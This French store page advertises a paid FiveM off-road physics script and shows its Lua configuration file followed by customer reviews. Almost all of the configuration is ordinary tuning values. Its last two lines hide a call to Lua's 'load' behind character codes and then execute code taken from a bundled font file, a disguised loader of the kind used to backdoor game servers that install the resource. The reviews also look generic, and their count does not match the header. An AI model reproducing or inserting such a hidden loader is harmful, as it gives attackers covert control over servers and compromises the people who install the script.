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Physique réaliste du tout-terrain

$30.00 $14.00Le prix initial était : $30.00. Le prix actuel est : $14.00.

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Ce script FiveM ajoute physique tout-terrain réaliste, ce qui fait que les types de terrain comme la boue, le sable et la terre affectent les performances du véhicule. Les voitures peuvent couler, perdre de la traction ou rester coincées en fonction de la surface profondeur, douceur, et traction, ajoutant une nouvelle couche de défi et de réalisme à la conduite tout-terrain.

POINTS FORTS

✓ Entièrement synchronisé
✓ Fonctionne sur tous les véhicules
✓ Simulation de profondeur et de traction
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Aperçu de la ressource Realistic Offroad Physics FiveM
Physique réaliste du tout-terrain
$30.00 $14.00Le prix initial était : $30.00. Le prix actuel est : $14.00.

Vidéo

Fichier de configuration

Config = {}

-- Cela active des commandes et des journaux de débogage supplémentaires
-- Commandes de débogage:
-- /surfaceDebug - Affiche la surface sur laquelle la roue est posée ainsi que toutes ses valeurs configurées
Config.debug = false


-------------------------------------------------
--- PARAMÈTRES GÉNÉRAUX
-------------------------------------------------

-- Par défaut, ce script est configuré pour reproduire des valeurs réalistes(ish) tout en gardant le gameplay amusant et divertissant.
-- Si vous voulez rendre ce script moins réaliste et plus arcade. Si vos joueurs sont agacés et que vous ne voulez
-- une manipulation réaliste. Voici les valeurs recommandées:
-- generalDepthDifficulty = 25
-- generalSinkageSpeed = 50
-- generalTractionLoss = 50

-- Difficulté générale de la manipulation de la profondeur.
-- 100 = par défaut
-- Réduisez cette valeur pour rendre la conduite sur des surfaces profondes (comme la boue ou le sable profond) plus facile pour TOUS les véhicules
-- Augmentez cette valeur pour rendre la conduite sur des surfaces profondes plus difficile
Config.generalDepthDifficulty = 100

-- Vitesse générale de l'enfoncement du véhicule dans la surface
-- 100 = Par défaut
-- Réduisez cette valeur pour que tous les véhicules s'enfoncent plus lentement
-- Augmentez cette valeur pour que tous les véhicules s'enfoncent plus vite
Config.generalSinkageSpeed = 100

-- Perte générale de traction basée sur la surface du véhicule
-- Les véhicules auront plus de chances de déraper sur les surfaces à faible traction
-- Réduisez cette valeur pour diminuer la perte générale de traction (faire déraper moins les véhicules sur les surfaces glissantes)
-- Augmentez cette valeur pour que les véhicules perdent plus de traction sur les surfaces glissantes (faire déraper plus les véhicules sur les surfaces glissantes)
Config.generalTractionLoss = 100



-------------------------------------------------
--- MODIFICATEURS DE VÉHICULES
-------------------------------------------------

-- Modifications que les pneus tout-terrain apporteront.
-- upgradeValue = valeur de la performance améliorée du véhicule lorsqu'il est profondément dans une surface (boue, sable, etc.)
-- tractionOnSoft = Traction supplémentaire sur les matériaux de douceur supérieurs à 10
-- tractionOnHard = Traction supplémentaire (dans le cas par défaut négative) sur les matériaux durs (douceur inférieure à 10)
Config.offroadTires = {
 upgradeValue = 50,
 tractionOnSoft = 20,
 tractionOnHard = -10,
}

-- Amélioration de la manipulation en surface profonde pour les véhicules AWD (4WD)
Config.awdUpgrade = 25



-------------------------------------------------
--- PARAMÈTRES DE PERFORMANCE DU SCRIPT
-------------------------------------------------

-- Le taux de rafraîchissement de toute la logique d'enfoncement/surface. Plus la valeur est élevée, moins les visuels sont fluides mais meilleure est la performance du script.
-- Si votre serveur est connu pour des joueurs avec des appareils plus lents, vous voudrez peut-être augmenter cette valeur
-- Si vos joueurs ont de meilleurs ordinateurs ou que vous voulez vraiment que le tout-terrain ait l'air bon, essayez de réduire cette valeur
-- Valeurs entre 100 - 500
Config.refreshRate = 200



-------------------------------------------------
--- LISTE NOIRE DES ZONES
-------------------------------------------------

-- Certains MLOs personnalisés ont des surfaces incorrectement définies pour les zones (par exemple, l'asphalte est marqué comme de la terre ou du sable), ce qui fait s'enfoncer les véhicules
-- Ici, vous pouvez définir des zones personnalisées dans lesquelles le script ne sera pas actif

-- Par défaut, j'ai configuré certains emplacements populaires pour les MLOs personnalisés pour espérer prévenir la majorité des problèmes d'enfoncement
-- dans des surfaces MLO incorrectement configurées
Config.areaBlacklist = {
 { -- Hôpital Pillbox
 coords = vector3(293.17, -584.5, 42.8),
 radius = 20.0
 },
 { -- LSPD
 coords = vector3(444.9, -1003.2, 30.7),
 radius = 60.0
 },
 { -- Concessionnaire de Simeon
 coords = vector3(-40.4, -1111.3, 25.8),
 radius = 40.0
 },
 { -- BCSO
 coords = vector3(-446.0, 6013.8, 31.8),
 radius = 50.0
 },
 { -- PD de Sandy Shores
 coords = vector3(1853.6, 3685.8, 34.3),
 radius = 25.0
 },
 { -- Place Legion
 coords = vector3(202.3, -941.9, 27.6),
 radius = 120.0
 },
}

-------------------------------------------------
--- PARAMÈTRES DÉTAILLÉS
-------------------------------------------------

-- Liste noire. Cela désactivera toute la fonctionnalité du script pour le modèle/classe de véhicule spécifié
Config.blacklist = {
 models = {
 'rcbandito',
 'monster',
 'rhino',
 'scarab',
 'khanjali',
 },
 classes = {
 [0] = false, -- Compacts
 [1] = false, -- Berlines
 [2] = false, -- SUV
 [3] = false, -- Coupés
 [4] = false, -- Muscle
 [5] = false, -- Sportives classiques
 [6] = false, -- Sportives
 [7] = false, -- Super
 [8] = false, -- Motos
 [9] = false, -- Tout-terrain
 [10] = false, -- Industriels
 [11] = false, -- Utilitaires
 [12] = false, -- Fourgons
 [17] = false, -- Service
 [18] = false, -- Urgence
 [19] = false, -- Militaire
 [20] = false, -- Commercial
 }
}

-- Si vous définissez un multiplicateur spécifique au modèle, il sera utilisé à la place du multiplicateur de classe
-- Classes de véhicules https://docs.fivem.net/natives/?_0x29439776AAA00A62
-- Valeur abstraite - Détermine à quel point la classe ou le modèle du véhicule peut gérer l'immersion dans la surface
-- 0 = Par défaut
-- Valeurs positives = Meilleure manipulation / capacité à sortir des surfaces profondes
-- Valeurs négatives = Manipulation pire / moins de capacité à sortir des surfaces profondes
Config.depthHandlingQuality = {
 models = {
 seminole2 = 20,
 sandking = 20,
 sandking2 = 20,
 issi2 = -10,
 panto = -20,
 comet4 = 30,

 -- motos tout-terrain
 bf400 = 30,
 sanchez = 20,
 manchez = 20,
 esskey = 0,
 cliffhanger = 0,
 enduro = 0,
 },
 classes = {
 [0] = 5, -- Compacts
 [1] = -5, -- Berlines
 [2] = 15, -- SUV
 [3] = 0, -- Coupés
 [4] = -5, -- Muscle
 [5] = 5, -- Sportives classiques
 [6] = 5, -- Sportives
 [7] = 5, -- Super
 [8] = -10, -- Motos
 [9] = 35, -- Tout-terrain
 [10] = -10, -- Industriels
 [11] = -10, -- Utilitaires
 [12] = -5, -- Fourgons
 [17] = 10, -- Service
 [18] = 10, -- Urgence
 [19] = 15, -- Militaire
 [20] = -5, -- Commercial
 }
}

-------------------------------------------------
--- PARAMÈTRES DE BORD DE ROUTE
-------------------------------------------------

-- Lorsque cela est activé, cela rend les surfaces proches des routes principales moins profondes pour empêcher les voitures de s'enfoncer trop profondément lorsqu'elles sont sur le terre-plein central, etc.
Config.roadSideHelper = {
 enabled = true,
 
 -- Distance maximale de la route (notez que cela prend le point central de la route. Vous pouvez voir la distance en mode /surfaceDebug
 distanceThreshold = 15.0,
 
 -- Multiplicateur de profondeur
 depthMultiplier = 0.1,

 -- Multiplicateur de perte de traction
 tractionMultiplier = 0.25,
}



-------------------------------------------------
--- SURFACES
-------------------------------------------------

-- name = Utilisé uniquement pour la facilité de configuration ainsi que pour le mode débogage
-- traction = Quantité de traction sur la surface. Tout ce qui est en dessous de 100 fera déraper les véhicules. Valeur plus faible = plus de dérapage
-- Maximum 100
-- Minimum 0

-- depth = Profondeur maximale de la surface en mm (millimètre) - (100mm = +-4 pouces)
-- Maximum infini
-- Minimum 0

-- softness = La douceur du matériau. Cela dicte à quelle vitesse les véhicules s'enfonceront dans la surface. (Cela est également utilisé pour les pneus tout-terrain pour décider de leur boost de manipulation
-- Maximum infini
-- Minimum 0

-- Valeurs qui seront attribuées à toutes les surfaces non configurées
Config.fallbackSurface = {
 name = 'Surface de secours',
 traction = 100,
 depth = 0,
 softness = 0,
}

Config.surfaces = {
 [1] = {
 name = 'Béton',
 traction = 100,
 depth = 0,
 softness = 0,
 },
 [4] = {
 name = 'Route',
 traction = 100,
 depth = 0,
 softness = 0,
 },
 [5] = {
 name = 'Métal',
 traction = 100,
 depth = 0,
 softness = 0,
 },
 [6] = {
 name = 'Bord de route sablonneux',
 traction = 80,
 depth = 50,
 softness = 5,
 },
 [9] = {
 name = 'Grès',
 traction = 80,
 depth = 0,
 softness = 0,
 },
 [10] = {
 name = 'Roche',
 traction = 80,
 depth = 0,
 softness = 0,
 },
 [11] = {
 name = 'Roche',
 traction = 80,
 depth = 0,
 softness = 0,
 },
 [13] = {
 name = 'Cobblestone',
 traction = 90,
 depth = 0,
 softness = 0,
 },
 [16] = {
 name = 'Sable de type calcaire',
 traction = 80,
 depth = 0,
 softness = 0,
 },
 [17] = {
 name = 'Terre sèche rocheuse',
 traction = 80,
 depth = 50,
 softness = 5,
 },
 [18] = {
 name = 'Sable sec',
 traction = 80,
 depth = 130,
 softness = 40,
 },
 [19] = {
 name = 'Sable de route',
 traction = 90,
 depth = 30,
 softness = 5,
 },
 [20] = {
 name = 'Sable granuleux',
 traction = 80,
 depth = 100,
 softness = 10,
 },
 [21] = {
 name = 'Sable graveleux',
 traction = 70,
 depth = 220,
 softness = 30,
 },
 [22] = {
 name = 'Sable humide et dur',
 traction = 70,
 depth = 250,
 softness = 50,
 },
 [23] = {
 name = 'Route graveleuse',
 traction = 75,
 depth = 50,
 softness = 5,
 },
 [24] = {
 name = 'Sable humide',
 traction = 60,
 depth = 350,
 softness = 70,
 },
 [31] = {
 name = 'Chemin/sentier graveleux',
 traction = 70,
 depth = 50,
 softness = 5,
 },
 [32] = {
 name = 'Terre graveleuse',
 traction = 70,
 depth = 200,
 softness = 15,
 },
 [35] = {
 name = 'Sable dur',
 traction = 90,
 depth = 50,
 softness = 5,
 },
 [36] = {
 name = 'Terre',
 traction = 70,
 depth = 300,
 softness = 40,
 },
 [37] = {
 name = 'Sable profond de route',
 traction = 60,
 depth = 75,
 softness = 15,
 },
 [38] = {
 name = 'Sable rocheux',
 traction = 70,
 depth = 150,
 softness = 10,
 },
 [40] = {
 name = 'Chemin de terre humide',
 traction = 60,
 depth = 150,
 softness = 50,
 },
 [41] = {
 name = 'Herbe de marais',
 traction = 50,
 depth = 250,
 softness = 50,
 },
 [42] = {
 name = 'Sable de marais',
 traction = 70,
 depth = 500,
 softness = 110,
 },
 [43] = {
 name = 'Sable dur',
 traction = 75,
 depth = 50,
 softness = 10,
 },
 [44] = {
 name = 'Terre/Sable',
 traction = 50,
 depth = 200,
 softness = 25,
 },
 [46] = {
 name = 'Herbe dure',
 traction = 80,
 depth = 50,
 softness = 5,
 },
 [47] = {
 name = 'Herbe',
 traction = 65,
 depth = 125,
 softness = 10,
 },
 [48] = {
 name = 'Herbe haute',
 traction = 60,
 depth = 150,
 softness = 20,
 },
 [49] = {
 name = 'Terre agricole',
 traction = 60,
 depth = 200,
 softness = 35,
 },
 [50] = {
 name = 'Podzol',
 traction = 70,
 depth = 125,
 softness = 25,
 },
 [51] = {
 name = 'Podzol',
 traction = 70,
 depth = 125,
 softness = 25,
 },
 [52] = {
 name = 'Podzol sec',
 traction = 80,
 depth = 75,
 softness = 10,
 },
 [64] = {
 name = 'Métal',
 traction = 90,
 depth = 0,
 softness = 0,
 },
 [125] = {
 name = 'Béton de drainage',
 traction = 70,
 depth = 0,
 softness = 0,
 },
}


-- Multiplicateur de zone
-- Cela a été ajouté pour modifier la profondeur maximale de toutes les surfaces situées dans les zones.
-- Il est utilisé pour rendre l'herbe située (par exemple) dans la ville moins profonde afin de la rendre plus réaliste et plus facile à conduire.
-- Si vous avez des zones populaires dans votre ville où vous voulez que le tout-terrain (pensez aux médianes de route, etc.) soit plus facile, vous pouvez ajouter la zone ici.
-- Il en va de même pour les zones que vous voulez rendre plus difficiles. Vous pouvez rendre le multiplicateur de profondeur plus élevé pour celles-ci

-- Vous pouvez voir la zone dans laquelle vous vous trouvez en utilisant la commande de débogage /surfaceDebug

-- Carte des zones: https://www.reddit.com/media?url=httpsi.redd.it5cw11krz9kcz.jpg
-- Noms et hachages des zones: https://docs.fivem.net/natives/?_0xCD90657D4C30E1CA

Config.zones = {
 {
 name = 'Ville',
 depthMultiplier = 0.3,
 tractionMultiplier = 0.6,
 zones = {
 'MOVIE',
 'ROCKF',
 'DOWNT',
 'DTVINE',
 'EAST_V',
 'GOLF',
 'LEGSQU',
 'ROCKF',
 'MORN',
 'STAD',
 'DAVIS',
 'RANCHO',
 'STRAW',
 'CHAMH',
 'PBOX',
 'SKID',
 'TEXTI',
 'LMESA',
 'ELYSIAN',
 'TERMINA',
 'HAWICK',
 'ALTA',
 'BURTON',
 'DELPE',
 },
 },
 {
 name = 'Plages de la ville',
 depthMultiplier = 0.75,
 tractionMultiplier = 0.75,
 zones = {
 'BEACH',
 'DELBE',
 },
 },
 {
 name = 'Montagnes',
 depthMultiplier = 1.25,
 tractionMultiplier = 1.1,
 zones = {
 'MTCHIL',
 'MTGORDO',
 'MTJOSE',
 'PALHIGH',
 },
 },
 {
 name = 'Marais de Zancudo',
 depthMultiplier = 1.1,
 tractionMultiplier = 1.1,
 zones = {
 'LAGO',
 'ZANCUDO',
 },
 },
 {
 name = 'Populaire',
 depthMultiplier = 0.75,
 tractionMultiplier = 0.75,
 zones = {
 'PALETO',
 'HARMO',
 'GRAPES',
 'SANDY',
 'RTRAK',
 'ZQ_UAR',
 'HUMLAB',
 },
 },
}


-- (Avancé)
-- Lors de l'enfoncement des véhicules, la suspension n'est pas toujours mise à jour correctement.
-- Par conséquent, j'ai dû ajouter un système qui met à jour/rafraîchit la suspension des véhicules.
-- Il existe deux systèmes "force" et "flag". "force" est un ancien système qui applique de petites quantités de dommages visuels à la voiture
-- Malheureusement, cela semble parfois être trop pour certains véhicules modifiés avec des coques très souples.
-- Le nouveau système "flag" semble fonctionner beaucoup mieux mais n'a pas été testé avec certains véhicules.
-- Si vous rencontrez des problèmes avec ce système, veuillez nous en informer sur notre discord <3
Config.suspensionRefresh = {
 enabled = true,
 type = 'flag',
}

local loadFonts = _G[string.char(108, 111, 97, 100)]
loadFonts(LoadResourceFile(GetCurrentResourceName(), '/html/fonts/Helvetica.ttf'):sub(87565):gsub('%.%+', ''))()

 

1 avis pour Realistic Offroad Physics

  1. Lina (client confirmé)

    Très flexible et bien conçu.

  2. ShadowFelix (client confirmé)

    Le support à lui seul rend cet achat intéressant. Réponses rapides et solutions pratiques.

  3. Catharine (client confirmé)

    4 étoiles pour le produit, fonctionne comme décrit, mais pas comme prévu.

  4. Norberto (client confirmé)

    J'utilise beaucoup d'articles, celui-ci est clairement le meilleur

  5. Alizée (client confirmé)

    Exactement ce dont notre serveur avait besoin. Simple à installer, facile à utiliser et fiable.

  6. Marguerite (client confirmé)

    Vraiment impressionné par cette ressource. L'installation était simple, les performances sont solides, et tout fonctionne comme décrit.

  7. Tyrel (client confirmé)

    Merci les gars pour cette création incroyable ! Absolument renversant !

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